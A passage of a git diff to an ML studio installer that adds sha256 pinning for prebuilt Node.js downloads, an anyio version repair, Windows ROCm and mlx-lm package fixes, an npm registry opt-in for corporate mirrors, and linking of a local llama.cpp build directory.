+        log(f"verifying {asset} against pinned sha256 from {PINS_FILENAME}")
+        return pinned
+
+    if not allow_unverified:
+        raise UnpinnedNodeRefused(
+            f"refusing to install Node v{version}: {asset} is not in the pinned manifest "
+            f"({PINS_FILENAME}); its only checksum would arrive over the same channel as the "
+            f"archive. Use the pinned default version (unset UNSLOTH_NODE_VERSION), add a pin "
+            f"for {asset}, or set {ALLOW_UNVERIFIED_ENV}=1 to trust the upstream SHASUMS256.txt "
+            f"at your own risk."
+        )
+
+    log(
+        f"WARNING: {asset} is not pinned; trusting upstream SHASUMS256.txt because "
+        f"{ALLOW_UNVERIFIED_ENV} is set. This checksum shares the archive's origin and is "
+        f"not an independent integrity guarantee."
+    )
+    # A non-UTF8 body just yields no hex match below -> clean PrebuiltFallback.
+    shasums = download_bytes(node_shasums_url(version), timeout = 30).decode("utf-8", "replace")
+    expected = expected_sha256_for(shasums, asset)
+    if not expected:
+        raise PrebuiltFallback(f"no sha256 for {asset} in SHASUMS256.txt (v{version})")
+    return expected
+
+
 # ── Safe archive extraction (zip + tar.gz, traversal/symlink guarded) ──
 def _safe_extract_path(base: Path, member_name: str) -> Path:
     member_path = Path(member_name.replace("\\", "/"))
@@ -583,11 +674,21 @@ def load_metadata(install_dir: Path) -> dict | None:
     return data if isinstance(data, dict) else None
 
 
-def existing_install_matches(install_dir: Path, host: HostInfo, *, version: str) -> bool:
-    """True iff the on-disk install is exactly this version and runs."""
+def existing_install_matches(
+    install_dir: Path,
+    host: HostInfo,
+    *,
+    version: str,
+    expected_sha: str | None = None,
+) -> bool:
+    """True iff the on-disk install is exactly this version, runs, and (when
+    expected_sha is given) was recorded with that digest, so a non-pinned or
+    tampered artifact is not kept just because its version string matches."""
     meta = load_metadata(install_dir)
     if not meta or meta.get("version") != version:
         return False
+    if expected_sha is not None and meta.get("sha256") != expected_sha:
+        return False
     if installed_node_version(install_dir, host) != version:
         return False
     npm_major = installed_npm_major(install_dir, host)
@@ -634,8 +735,12 @@ def _ensure_npm_floor(install_dir: Path, host: HostInfo) -> None:
 # ── Orchestration ──
 def install_prebuilt(install_dir: Path, *, channel: str, min_major: int, force: bool) -> int:
     host = detect_host()
+    pins = load_pins()
 
-    if channel in {"lts", "latest"}:
+    if channel in {"", "pinned", "default"}:
+        # Default path: the committed pin, no index.json round-trip.
+        version = pinned_default_version(pins)
+    elif channel in {"lts", "latest"}:
         try:
             index = fetch_json(NODE_DIST_INDEX)
         except Exception as exc:  # noqa: BLE001
@@ -658,21 +763,35 @@ def install_prebuilt(install_dir: Path, *, channel: str, min_major: int, force:
     asset = node_asset_name(version, host)
     log(f"target Node v{version} ({asset})")
 
-    if not force and existing_install_matches(install_dir, host, version = version):
+    # Only keep an existing install if it matches the committed pin (or the caller
+    # opted out of pinning); an unpinned target without opt-in falls through to the
+    # refusal in resolve_expected_sha256 rather than short-circuiting on it.
+    pin = pinned_sha256(pins, version, asset)
+    allow_unverified = allow_unverified_node()
+    may_keep = pin is not None or allow_unverified
+
+    if (
+        not force
+        and may_keep
+        and existing_install_matches(install_dir, host, version = version, expected_sha = pin)
+    ):
         log(f"existing Node install already matches v{version}; nothing to do")
         return EXIT_SUCCESS
 
     with install_lock(install_lock_path(install_dir)):
         # Re-check under the lock: a concurrent run may have just finished.
-        if not force and existing_install_matches(install_dir, host, version = version):
+        if (
+            not force
+            and may_keep
+            and existing_install_matches(install_dir, host, version = version, expected_sha = pin)
+        ):
             log(f"existing Node install already matches v{version}; nothing to do")
             return EXIT_SUCCESS
 
         try:
-            shasums = download_bytes(node_shasums_url(version), timeout = 30).decode("utf-8")
-            expected_sha = expected_sha256_for(shasums, asset)
-            if not expected_sha:
-                raise PrebuiltFallback(f"no sha256 for {asset} in SHASUMS256.txt (v{version})")
+            expected_sha = resolve_expected_sha256(
+                pins, version, asset, allow_unverified = allow_unverified
+            )
 
             staging_root = install_dir.parent / INSTALL_STAGING_ROOT_NAME
             staging_root.mkdir(parents = True, exist_ok = True)
@@ -705,10 +824,22 @@ def install_prebuilt(install_dir: Path, *, channel: str, min_major: int, force:
                     staging_root.rmdir()
                 except OSError:
                     pass
+        except UnpinnedNodeRefused:
+            # A policy refusal, not a transient failure: fail closed, never keep-existing.
+            raise
         except Exception as exc:  # noqa: BLE001
-            # A newer Node exists upstream but the shasums/archive fetch failed;
-            # keep an existing usable Node rather than aborting the update.
-            if not force and existing_install_usable(install_dir, host):
+            # Transient download/verify failure: keep an existing usable Node, but
+            # never keep a same-version install whose recorded digest is not the pin
+            # (the artifact the short-circuit above just rejected). A different usable
+            # version is still kept for offline resilience.
+            meta = load_metadata(install_dir)
+            pin_mismatch = (
+                pin is not None
+                and bool(meta)
+                and meta.get("version") == version
+                and meta.get("sha256") != pin
+            )
+            if not force and not pin_mismatch and existing_install_usable(install_dir, host):
                 log(f"Node download failed ({exc}); keeping existing isolated Node")
                 return EXIT_SUCCESS
             raise
@@ -733,8 +864,12 @@ def main(argv: list[str] | None = None) -> int:
     )
     parser.add_argument(
         "--node-version",
-        default = os.environ.get("UNSLOTH_NODE_VERSION", "lts"),
-        help = "'lts' (default), 'latest', or an explicit version like 24.4.1",
+        default = os.environ.get("UNSLOTH_NODE_VERSION", DEFAULT_NODE_CHANNEL),
+        help = (
+            f"'pinned' (default; installs the digest-pinned version from {PINS_FILENAME}), "
+            f"'lts', 'latest', or an explicit version like 24.4.1. Non-pinned versions require "
+            f"{ALLOW_UNVERIFIED_ENV}=1."
+        ),
     )
     parser.add_argument("--min-major", type = int, default = NODE_MIN_LTS_MAJOR)
     parser.add_argument(
@@ -753,6 +888,10 @@ def main(argv: list[str] | None = None) -> int:
     except BusyInstallConflict as exc:
         log(str(exc))
         return EXIT_BUSY
+    except UnpinnedNodeRefused as exc:
+        # Catch before PrebuiltFallback so the refusal logs its own message.
+        log(str(exc))
+        return EXIT_FALLBACK
     except PrebuiltFallback as exc:
         log(f"prebuilt unavailable: {exc}")
         return EXIT_FALLBACK
diff --git a/studio/install_python_stack.py b/studio/install_python_stack.py
index 1c3918f900..e033a56a0a 100644
--- a/studio/install_python_stack.py
+++ b/studio/install_python_stack.py
@@ -36,6 +36,7 @@ from backend.utils.wheel_utils import (
     probe_torch_wheel_env,
     url_exists,
 )
+from backend.utils.uv_path_safety import uv_safe_path as _uv_safe_path
 
 IS_WINDOWS = sys.platform == "win32"
 IS_MACOS = sys.platform == "darwin"
@@ -180,6 +181,75 @@ def _probe_installed_torch_version() -> str | None:
     return lines[-1] if lines else None
 
 
+def _installed_torch_is_windows_rocm() -> bool:
+    """Return True when the target venv currently has a Windows ROCm torch build.
+
+    This is a belt-and-suspenders guard for the torchao override step: if the
+    earlier ROCm install path failed to set _rocm_windows_torch_installed but the
+    venv already contains a ROCm torch wheel, still skip torchao because it
+    crashes on import on Windows ROCm.
+    """
+    if not IS_WINDOWS:
+        return False
+    try:
+        probe = subprocess.run(
+            [
+                sys.executable,
+                "-c",
+                (
+                    "import sys, torch; "
+                    "hip = getattr(getattr(torch, 'version', None), 'hip', None) or ''; "
+                    "ver = getattr(torch, '__version__', '').lower(); "
+                    "sys.stdout.write('yes' if (hip or 'rocm' in ver or 'rocmsdk' in ver) else '')"
+                ),
+            ],
+            stdout = subprocess.PIPE,
+            stderr = subprocess.DEVNULL,
+            text = True,
+            timeout = 90,
+            **_windows_hidden_subprocess_kwargs(),
+        )
+    except (OSError, subprocess.TimeoutExpired):
+        return False
+    lines = [line.strip() for line in (probe.stdout or "").splitlines() if line.strip()]
+    return probe.returncode == 0 and bool(lines and lines[-1] == "yes")
+
+
+# constraints.txt caps new anyio resolutions at <4.14 (#6483), but an install
+# from before the cap existed can already be stuck at 4.14+, which later
+# constrained installs won't touch since it already satisfies mcp/fastmcp.
+_ANYIO_BAD_FLOOR = (4, 14)
+
+
+def _installed_anyio_version() -> tuple[int, int] | None:
+    try:
+        from importlib.metadata import version as _pkg_version
+        raw = _pkg_version("anyio")
+    except Exception:
+        return None
+    parts = raw.split(".")
+    try:
+        major = int(parts[0])
+        minor = int(re.sub(r"[^0-9].*", "", parts[1])) if len(parts) > 1 else 0
+    except (IndexError, ValueError):
+        return None
+    return (major, minor)
+
+
+def _repair_bad_anyio() -> None:
+    installed = _installed_anyio_version()
+    if installed is None or installed < _ANYIO_BAD_FLOOR:
+        return
+    _safe_print(_dim(f"   anyio {installed[0]}.{installed[1]} found -- reinstalling anyio<4.14..."))
+    pip_install(
+        "Repairing anyio version",
+        "--no-cache-dir",
+        "--force-reinstall",
+        "anyio<4.14.0",
+        constrain = False,
+    )
+
+
 # AMD Windows ROCm wheels (repo.amd.com/rocm/whl/{arch_family}/).
 # Override with UNSLOTH_ROCM_WINDOWS_MIRROR for air-gapped/mirror installs.
 _ROCM_WINDOWS_INDEX_BASE = (
@@ -1374,25 +1444,7 @@ def _ensure_rocm_torch() -> None:
             )
 
 
-def _uv_safe_path(path: object) -> str:
-    # uv 0.11.x: `-c <path with space>` truncates at the space; use 8.3 short form.
-    s = str(path)
-    if not IS_WINDOWS or " " not in s:
-        return s
-    try:
-        import ctypes
-        from ctypes import wintypes
-
-        get_short = ctypes.windll.kernel32.GetShortPathNameW
-        get_short.argtypes = [wintypes.LPCWSTR, wintypes.LPWSTR, wintypes.DWORD]
-        get_short.restype = wintypes.DWORD
-        buf = ctypes.create_unicode_buffer(32768)
-        rc = get_short(s, buf, 32768)
-        if 0 < rc < 32768 and " " not in buf.value:
-            return buf.value
-    except Exception:
-        pass
-    return s
+# _uv_safe_path is imported from backend.utils.uv_path_safety (shared with mlx_repair).
 
 
 def _windows_hidden_subprocess_kwargs() -> dict[str, object]:
@@ -1480,10 +1532,15 @@ LOCAL_DD_UNSTRUCTURED_PLUGIN = (
 )
 LOCAL_DD_GITHUB_PLUGIN = SCRIPT_DIR / "backend" / "plugins" / "data-designer-github-repo-seed"
 
+# mlx-lm 0.31.3 broke gemma4 / qwen3_5 loading (strict load_weights rejects the
+# QK-norm q_norm/k_norm tensors); exclude just that release. See mlx-lm #1242.
+MLX_LM_BAD_VERSION_EXCLUSION = "!=0.31.3"
+
 # Apple Silicon: override mlx-vlm/mlx-lm's transformers pin (see overrides).
+# _uv_safe_path: uv truncates UV_OVERRIDE at the first space too (issue #6503).
 _MLX_OVERRIDES = SINGLE_ENV / "overrides-darwin-arm64.txt"
-if IS_MAC_ARM and _MLX_OVERRIDES.is_file():
-    os.environ.setdefault("UV_OVERRIDE", str(_MLX_OVERRIDES))
+if IS_MAC_ARM and _MLX_OVERRIDES.is_file() and "UV_OVERRIDE" not in os.environ:
+    os.environ["UV_OVERRIDE"] = _uv_safe_path(_MLX_OVERRIDES)
 
 # -- Unicode-safe printing ---------------------------------------------
 # On Windows the console encoding may be a legacy code page (e.g. CP1252)
@@ -1658,7 +1715,7 @@ def run(
 
 
 # Packages to skip on Windows (require special build steps)
-WINDOWS_SKIP_PACKAGES = {"open_spiel", "triton_kernels"}
+WINDOWS_SKIP_PACKAGES = {"triton_kernels"}
 
 # Packages to skip when torch is unavailable (Intel Mac GGUF-only mode).
 # These either *are* torch extensions or have unconditional
@@ -1675,7 +1732,6 @@ NO_TORCH_SKIP_PACKAGES = {
     "torchcodec",
     "torch-c-dlpack-ext",
     "openai-whisper",
-    "transformers-cfg",
     "librosa",
 }
 
@@ -1987,7 +2043,7 @@ def install_python_stack() -> int:
     package_name = os.environ.get("STUDIO_PACKAGE_NAME", "unsloth")
     # --local overlays a local repo checkout after updating deps.
     local_repo = os.environ.get("STUDIO_LOCAL_REPO", "")
-    base_total = 10 if IS_WINDOWS else 11
+    base_total = 11 if IS_WINDOWS else 12  # +1 for the anyio repair check (step 8b)
     if IS_MACOS:
         base_total -= 1  # triton step is skipped on macOS
     if not IS_MACOS and not NO_TORCH:
@@ -2040,6 +2096,8 @@ def install_python_stack() -> int:
 
     # macOS arm64: install MLX stack at latest (UV_OVERRIDE relaxes the
     # mlx-vlm / mlx-lm transformers pin -- set at module load).
+    # Exclude mlx-lm 0.31.3 (see MLX_LM_BAD_VERSION_EXCLUSION); it broke
+    # gemma4 / qwen3_5 QK-norm loading. mlx-lm #1242.
     if IS_MAC_ARM and not skip_base:
         _progress("MLX stack (Apple Silicon)")
         pip_install(
@@ -2048,7 +2106,7 @@ def install_python_stack() -> int:
             "--upgrade",
             "mlx",
             "mlx-metal",
-            "mlx-lm",
+            f"mlx-lm{MLX_LM_BAD_VERSION_EXCLUSION}",
             "mlx-vlm",
         )
 
@@ -2234,25 +2292,25 @@ def install_python_stack() -> int:
     # 4. Overrides (torchao) -- force-reinstall. The torchao version is chosen to
     #    match the torch installed in the venv so its C++ extensions load (see
     #    _select_torchao_spec). Skip when torch is unavailable (e.g. Intel Mac
-    #    GGUF-only mode): torchao requires torch.
+    #    GGUF-only mode): torchao requires torch. Also skipped on Windows ROCm
+    #    (no working build; see below).
     if NO_TORCH:
         _progress("dependency overrides (skipped, no torch)")
+    elif _rocm_windows_torch_installed or _installed_torch_is_windows_rocm():
+        # No working Windows ROCm torchao build: it imports an absent c10d backend
+        # and crashes transformers.quantizers. Studio stubs it at runtime, so
+        # installing it only ships a package that crashes on import -- skip it.
+        _progress("dependency overrides (skipped, Windows ROCm)")
+        _safe_print("   Windows ROCm -- skipping torchao (no working build; stubbed at runtime)")
     else:
         _progress("dependency overrides")
         _torch_ver = _probe_installed_torch_version()
         _torchao_spec = _select_torchao_spec(_torch_ver)
         _safe_print(f"   torch {_torch_ver or 'unknown'} detected -- installing {_torchao_spec}")
-        _override_extra_args: tuple[str, ...] = ()
-        if _rocm_windows_torch_installed:
-            # torchao declares torch as a dependency; without --no-deps uv would
-            # install CPU torch from PyPI, overwriting the AMD ROCm wheels we just
-            # installed.
-            _override_extra_args = ("--no-deps",)
         pip_install(
             "Installing dependency overrides",
             "--force-reinstall",
             "--no-cache-dir",
-            *_override_extra_args,
             _torchao_spec,
         )
 
@@ -2301,6 +2359,10 @@ def install_python_stack() -> int:
         req = REQ_ROOT / "studio.txt",
     )
 
+    # 8b. anyio repair (#6483)
+    _progress("anyio check")
+    _repair_bad_anyio()
+
     # 9. Data-designer dependencies
     _progress("data designer deps")
     pip_install(
diff --git a/studio/node_prebuilt_pins.json b/studio/node_prebuilt_pins.json
new file mode 100644
index 0000000000..d279c04316
--- /dev/null
+++ b/studio/node_prebuilt_pins.json
@@ -0,0 +1,15 @@
+{
+  "schema_version": 1,
+  "comment": "Trust anchor for install_node_prebuilt.py: sha256 frozen from the official nodejs.org SHASUMS256.txt. To bump: update default_version and every per-asset digest from the new SHASUMS256.txt.",
+  "default_version": "24.18.0",
+  "versions": {
+    "24.18.0": {
+      "node-v24.18.0-linux-x64.tar.gz": "783130984963db7ba9cbd01089eaf2c2efb055c7c1693c943174b967b3050cb8",
+      "node-v24.18.0-linux-arm64.tar.gz": "6b4484c2190274175df9aa8f28e2d758a819cb1c1fe6ab481e2f95b463ab8508",
+      "node-v24.18.0-darwin-x64.tar.gz": "dfd0dbd3e721503434df7b7205e719f61b3a3a31b2bcf9729b8b91fea240f080",
+      "node-v24.18.0-darwin-arm64.tar.gz": "e1a97e14c99c803e96c7339403282ea05a499c32f8d83defe9ef5ec66f979ed1",
+      "node-v24.18.0-win-x64.zip": "0ae68406b42d7725661da979b1403ec9926da205c6770827f33aac9d8f26e821",
+      "node-v24.18.0-win-arm64.zip": "f274669adb93b1fd0fbf8f21fd078609e9dcc84333d4f2718d2dde3f9a161a01"
+    }
+  }
+}
diff --git a/studio/setup.ps1 b/studio/setup.ps1
index 20f5bd1ada..bb1e88cc4e 100644
--- a/studio/setup.ps1
+++ b/studio/setup.ps1
@@ -37,6 +37,18 @@ $DefaultLlamaSource = "https://github.com/ggml-org/llama.cpp"
 $DefaultLlamaTag = "latest"
 $DefaultLlamaForceCompileRef = "master"
 
+# Corporate-mirror / proxy escape hatch for the frontend npm/bun install (#6491).
+# studio/frontend/.npmrc pins registry=https://registry.npmjs.org/ as a supply-chain
+# lock, which overrides a corporate user's ~/.npmrc proxy and causes 403s behind a
+# firewall. UNSLOTH_NPM_REGISTRY is a deliberate opt-in: when set we splat it as
+# `--registry <url>` into every npm/bun install. `--registry` is the highest-precedence
+# override for BOTH tools and leaves min-release-age / save-exact in force. Empty array
+# (the default) splats to nothing, so normal installs are unchanged.
+$NpmRegistryArgs = @()
+if ($env:UNSLOTH_NPM_REGISTRY) {
+    $NpmRegistryArgs = @('--registry', $env:UNSLOTH_NPM_REGISTRY)
+}
+
 # Verbose can be enabled either by CLI flag or by UNSLOTH_VERBOSE=1.
 $script:UnslothVerbose = ($env:UNSLOTH_VERBOSE -eq '1')
 foreach ($a in $args) {
@@ -877,6 +889,41 @@ function substep {
     Write-StudioStdoutMirror ("  {0,-15}{1}" -f "", $Message)
 }
 
+function Show-NpmRegistryHint {
+    # Print actionable guidance when a frontend/OXC npm/bun install fails and the
+    # registry lock is the likely cause (corporate firewall/proxy). No-op once the
+    # user has opted in via UNSLOTH_NPM_REGISTRY. We never switch registries
+    # automatically -- we only guide.
+    if ($env:UNSLOTH_NPM_REGISTRY) { return }
+    $mirror = $env:NPM_CONFIG_REGISTRY
+    if (-not $mirror) {
+        # Read npm config from a dir with no project .npmrc so the frontend's pinned
+        # registry= does not mask the user's ~/.npmrc / global mirror.
+        $pushed = $false
+        try {
+            Push-Location ([System.IO.Path]::GetTempPath()) -ErrorAction Stop
+            $pushed = $true
+            $mirror = (& npm config get registry 2>$null | Out-String).Trim()
+        } catch { $mirror = "" } finally { if ($pushed) { Pop-Location } }
+    }
+    if ($mirror -in @("", "undefined", "null", "https://registry.npmjs.org", "https://registry.npmjs.org/")) {
+        $mirror = ""
+    }
+    Write-Host ""
+    step "frontend" "registry.npmjs.org looks blocked (corporate firewall/proxy?)" "Yellow"
+    if ($mirror) {
+        substep "Studio pins the public npm registry; your mirror is being ignored."
+        substep "Detected a registry in your npm config:"
+        substep "  $mirror"
+        substep "Re-run pointing Studio at it:"
+        substep "  `$env:UNSLOTH_NPM_REGISTRY='$mirror'; .\install.ps1 --local"
+    } else {
+        substep "If you use a private mirror/proxy, point Studio at it and re-run:"
+        substep "  `$env:UNSLOTH_NPM_REGISTRY='https://your-mirror.example/api/npm/'; .\install.ps1 --local"
+    }
+    substep "(min-release-age and save-exact stay enforced.)"
+}
+
 # ─────────────────────────────────────────────
 # Banner
 # ─────────────────────────────────────────────
@@ -2113,7 +2160,7 @@ if ($NeedNodeForSetup) {
             substep "installing bun (faster frontend package installs)..."
             $prevEAP_bun = $ErrorActionPreference
             $ErrorActionPreference = "Continue"
-            Invoke-SetupCommand { npm install -g bun --allow-scripts=bun } | Out-Null
+            Invoke-SetupCommand { npm install -g bun --allow-scripts=bun @NpmRegistryArgs } | Out-Null
             $ErrorActionPreference = $prevEAP_bun
             Refresh-Environment
             # Refresh-Environment rebuilds PATH (Machine;User;current), demoting the
@@ -2173,7 +2220,7 @@ if ($NeedFrontendBuild -and -not $IsPipInstall) {
     # the cache + retry once before falling back to npm.
     if ($UseBun) {
         Write-Host "   Using bun for package install (faster)" -ForegroundColor DarkGray
-        $bunExit = Invoke-SetupCommand { bun install }
+        $bunExit = Invoke-SetupCommand { bun install @NpmRegistryArgs }
         # On Windows, .bin/ entries vary by package manager:
         #   npm  → tsc, tsc.cmd, tsc.ps1
         #   bun  → tsc.exe, tsc.bunx
@@ -2187,7 +2234,7 @@ if ($NeedFrontendBuild -and -not $IsPipInstall) {
                 Remove-Item "node_modules" -Recurse -Force -ErrorAction SilentlyContinue
             }
             Invoke-SetupCommand { bun pm cache rm } | Out-Null
-            $bunExit = Invoke-SetupCommand { bun install }
+            $bunExit = Invoke-SetupCommand { bun install @NpmRegistryArgs }
             $hasTsc = (Test-Path "node_modules\.bin\tsc") -or (Test-Path "node_modules\.bin\tsc.cmd") -or (Test-Path "node_modules\.bin\tsc.exe") -or (Test-Path "node_modules\.bin\tsc.bunx")
             $hasVite = (Test-Path "node_modules\.bin\vite") -or (Test-Path "node_modules\.bin\vite.cmd") -or (Test-Path "node_modules\.bin\vite.exe") -or (Test-Path "node_modules\.bin\vite.bunx")
             if ($bunExit -ne 0 -or -not $hasTsc -or -not $hasVite) {
@@ -2206,13 +2253,14 @@ if ($NeedFrontendBuild -and -not $IsPipInstall) {
         }
     }
     if (-not $UseBun) {
-        $npmExit = Invoke-SetupCommand { npm install }
+        $npmExit = Invoke-SetupCommand { npm install @NpmRegistryArgs }
         if ($npmExit -ne 0) {
             Pop-Location
             $ErrorActionPreference = $prevEAP_npm
             foreach ($gi in $HiddenGitignores) { Rename-Item -Path "$gi._twbuild" -NewName (Split-Path $gi -Leaf) -Force -ErrorAction SilentlyContinue }
             Write-Host "[ERROR] npm install failed (exit code $npmExit)" -ForegroundColor Red
             Write-Host "   Try running 'npm install' manually in frontend/ to see errors" -ForegroundColor Yellow
+            Show-NpmRegistryHint
             exit 1
         }
     }
@@ -2249,11 +2297,12 @@ if ((Test-Path $OxcValidatorDir) -and $NodeSource -ne "skip" -and (Get-Command n
     $prevEAP_oxc = $ErrorActionPreference
     $ErrorActionPreference = "Continue"
     Push-Location $OxcValidatorDir
-    $oxcInstallExit = Invoke-SetupCommand { npm install }
+    $oxcInstallExit = Invoke-SetupCommand { npm install @NpmRegistryArgs }
     if ($oxcInstallExit -ne 0) {
         Pop-Location
         $ErrorActionPreference = $prevEAP_oxc
         Write-Host "[ERROR] OXC validator npm install failed (exit code $oxcInstallExit)" -ForegroundColor Red
+        Show-NpmRegistryHint
         exit 1
     }
     Pop-Location
@@ -2596,6 +2645,28 @@ if ($env:SKIP_STUDIO_BASE -ne "1" -and $env:STUDIO_LOCAL_INSTALL -ne "1") {
     if ($InstalledVer -and $LatestVer -and ($InstalledVer -eq $LatestVer)) {
         step "python" "$_PkgName $InstalledVer is up to date"
         $SkipPythonDeps = $true
+        # A pre-#6483-fix install can be stuck on anyio>=4.14 even though
+        # $_PkgName itself is current; the fast path above would otherwise
+        # never reach install_python_stack's anyio repair (#6797).
+        $_anyioBad = $false
+        try {
+            & python -c "
+import re, sys
+from importlib.metadata import version, PackageNotFoundError
+try:
+    parts = version('anyio').split('.')
+    major = int(parts[0])
+    minor = int(re.sub(r'[^0-9].*', '', parts[1])) if len(parts) > 1 else 0
+except (PackageNotFoundError, ValueError, IndexError):
+    sys.exit(1)
+sys.exit(0 if (major, minor) >= (4, 14) else 1)
+" 2>$null
+            if ($LASTEXITCODE -eq 0) { $_anyioBad = $true }
+        } catch {}
+        if ($_anyioBad) {
+            substep "anyio >=4.14 found (#6483) -- forcing dependency pass to repair..." "Cyan"
+            $SkipPythonDeps = $false
+        }
         # ...but not if an AMD GPU is present and installed PyTorch is CPU-only
         # (host predates ROCm-wheel support, or GPU added later): the fast "up to
         # date" path would leave the user on CPU torch with Train/Export disabled.
@@ -3109,7 +3180,86 @@ if ($LlamaPr) {
     $SkipPrebuiltInstall = $true
 }
 
-if ($env:UNSLOTH_LLAMA_FORCE_COMPILE -eq "1") {
+$LocalLlamaCppLinked = $false
+$LocalLlamaCppSrc = $env:UNSLOTH_LOCAL_LLAMA_CPP_DIR
+if ($LocalLlamaCppSrc) {
+    if (-not (Test-Path -LiteralPath $LocalLlamaCppSrc -PathType Container)) {
+        step "llama.cpp" "UNSLOTH_LOCAL_LLAMA_CPP_DIR does not exist: $LocalLlamaCppSrc" "Red"
+        exit 1
+    }
+    $ResolvedLocal = (Resolve-Path -LiteralPath $LocalLlamaCppSrc).Path
+    # Reusing a local dir disables both the prebuilt download and the source
+    # build, so a runnable llama-server.exe must already be present. Accept any
+    # layout LlamaCppBackend._layout_candidates() resolves (root-level, build\bin,
+    # or build\bin\Release) so the flag never rejects a tree Studio could run.
+    $LocalLlamaServerFound = $false
+    foreach ($_cand in @(
+            (Join-Path $ResolvedLocal "llama-server.exe"),
+            (Join-Path $ResolvedLocal "build\bin\llama-server.exe"),
+            (Join-Path $ResolvedLocal "build\bin\Release\llama-server.exe"))) {
+        if (Test-Path -LiteralPath $_cand) { $LocalLlamaServerFound = $true; break }
+    }
+    if ($ResolvedLocal -eq $LlamaCppDir) {
+        # Points at the canonical install location itself: never delete-then-link
+        # onto itself. Reuse an existing build here (skip prebuilt + source) so the
+        # staged prebuilt installer can't replace a build the user asked to reuse;
+        # if nothing is built yet, fall through to the normal install.
+        if ($LocalLlamaServerFound) {
+            substep "UNSLOTH_LOCAL_LLAMA_CPP_DIR is the canonical install location and already holds a build; reusing it" "Yellow"
+            $LocalLlamaCppLinked = $true
+            $NeedLlamaSourceBuild = $false
+        } else {
+            substep "UNSLOTH_LOCAL_LLAMA_CPP_DIR points to the canonical install location with nothing built there yet; running the normal install" "Yellow"
+        }
+    } else {
+        # Fail clearly rather than junction an unbuilt or wrong-platform checkout
+        # and leave Studio with no usable binary.
+        if (-not $LocalLlamaServerFound) {
+            step "llama.cpp" "no llama-server.exe under $ResolvedLocal (looked for .\llama-server.exe, .\build\bin and .\build\bin\Release) -- build llama.cpp there first, or drop --with-llama-cpp-dir" "Red"
+            exit 1
+        }
+        # If the target is already a junction/symlink (e.g. a previous
+        # --with-llama-cpp-dir run), delete only the link via DirectoryInfo.Delete().
+        # Remove-Item -Recurse -Force on a reparse point can traverse the link and
+        # wipe the user's real llama.cpp directory on PowerShell 5.1. Dropping the
+        # stale link here also keeps the custom-home ownership check below idempotent.
+        # Use Get-Item -Force (not Test-Path): a *broken* junction whose target was
+        # moved/deleted makes Test-Path return false, which would leave the dangling
+        # link in place and make mklink below fail; Get-Item still resolves it so we
+        # can remove it and relink to a new valid directory.
+        $existing = Get-Item -LiteralPath $LlamaCppDir -Force -ErrorAction SilentlyContinue
+        if ($existing -and ($existing.Attributes -band [System.IO.FileAttributes]::ReparsePoint)) {
+            $existing.Delete()
+        }
+        if ($StudioHomeIsCustom) {
+            Assert-StudioOwnedOrAbsent -Path $LlamaCppDir -Label "llama.cpp install"
+        }
+        if (Test-Path -LiteralPath $LlamaCppDir) {
+            Remove-Item -Recurse -Force -LiteralPath $LlamaCppDir -ErrorAction SilentlyContinue
+            # A locked/in-use tree can silently survive removal (SilentlyContinue
+            # masks it). Don't then junction/copy over a half-present dir; mirror the
+            # prebuilt path's active-process handling and stop with a clear message.
+            if (Test-Path -LiteralPath $LlamaCppDir) {
+                step "llama.cpp" "install blocked by active llama.cpp process" "Yellow"
+                substep "Close Studio or other llama.cpp users and retry" "Yellow"
+                exit 3
+            }
+        }
+        cmd /c "mklink /J `"$LlamaCppDir`" `"$ResolvedLocal`"" 2>&1 | Out-Null
+        if ($LASTEXITCODE -ne 0) {
+            substep "Could not create directory junction; copying instead..." "Yellow"
+            Copy-Item -Recurse -LiteralPath $ResolvedLocal -Destination $LlamaCppDir
+        }
+        Write-Host ""
+        step "llama.cpp" "linked local directory: $ResolvedLocal"
+        $LocalLlamaCppLinked = $true
+        $NeedLlamaSourceBuild = $false
+    }
+}
+
+if ($LocalLlamaCppLinked) {
+    # local directory linked above; skip prebuilt install
+} elseif ($env:UNSLOTH_LLAMA_FORCE_COMPILE -eq "1") {
     Write-Host ""
     substep "UNSLOTH_LLAMA_FORCE_COMPILE=1 -- skipping prebuilt llama.cpp install" "Yellow"
     $NeedLlamaSourceBuild = $true
@@ -3319,7 +3469,8 @@ if (Test-Path -LiteralPath $LlamaServerBin) {
 
 # Install build tools now (last resort) rather than eagerly in Phase 1, so the
 # prebuilt path stays fast. Same condition as the if/elseif chain below: a source
-# build runs only when needed and no usable binary is already present.
+# build runs only when needed and no usable binary is already present. A linked
+# local dir sets $NeedLlamaSourceBuild = $false, so this no-ops for that path.
 $WillBuildLlamaFromSource = $NeedLlamaSourceBuild -and `
     -not ((Test-Path -LiteralPath $LlamaServerBin) -and -not $NeedRebuild -and $RequestedLlamaTag -ne "master")
 if ($WillBuildLlamaFromSource) {
@@ -3328,7 +3479,13 @@ if ($WillBuildLlamaFromSource) {
     $HasCmakeForBuild = $null -ne (Get-Command cmake -ErrorAction SilentlyContinue)
 }
 
-if (-not $NeedLlamaSourceBuild) {
+if ($LocalLlamaCppLinked) {
+    # Local dir linked above -- honor the flag's contract: skip BOTH the prebuilt
+    # download and the source build. Falling through here would run CMake inside
+    # the user's checkout (via the junction) when it lacks build\bin\Release\llama-server.exe.
+    Write-Host ""
+    step "llama.cpp" "linked (skipping build)"
+} elseif (-not $NeedLlamaSourceBuild) {
     Write-Host ""
     step "llama.cpp" "prebuilt (validated)"
 } elseif ((Test-Path -LiteralPath $LlamaServerBin) -and -not $NeedRebuild -and $RequestedLlamaTag -ne "master") {
@@ -3704,35 +3861,49 @@ if (-not $NeedLlamaSourceBuild) {
         $CmakeArgs += '-DCMAKE_EXE_LINKER_FLAGS=/NODEFAULTLIB:LIBCMT'
         # CUDA flags -- only if GPU available, otherwise explicitly disable
         if ($HasNvidiaSmi -and $NvccPath) {
-            $CmakeArgs += '-DGGML_CUDA=ON'
-            # Accept a host MSVC newer than nvcc's whitelist; a fresh toolkit
-            # (e.g. CUDA 13.3) otherwise aborts with "#error -- unsupported
-            # Microsoft Visual Studio version!". Mirrors the Linux fix. Via env
-            # (covers the configure probe + build), after Refresh-Environment, idempotent.
-            $nvccAllowFlag = '-allow-unsupported-compiler'
-            if ([string]::IsNullOrEmpty($env:NVCC_PREPEND_FLAGS)) {
-                $env:NVCC_PREPEND_FLAGS = $nvccAllowFlag
-            } elseif ($env:NVCC_PREPEND_FLAGS -notlike "*$nvccAllowFlag*") {
-                $env:NVCC_PREPEND_FLAGS = "$($env:NVCC_PREPEND_FLAGS) $nvccAllowFlag"
-            }
-            substep "NVCC_PREPEND_FLAGS = $env:NVCC_PREPEND_FLAGS"
-            $CmakeArgs += "-DCUDAToolkit_ROOT=$CudaToolkitRoot"
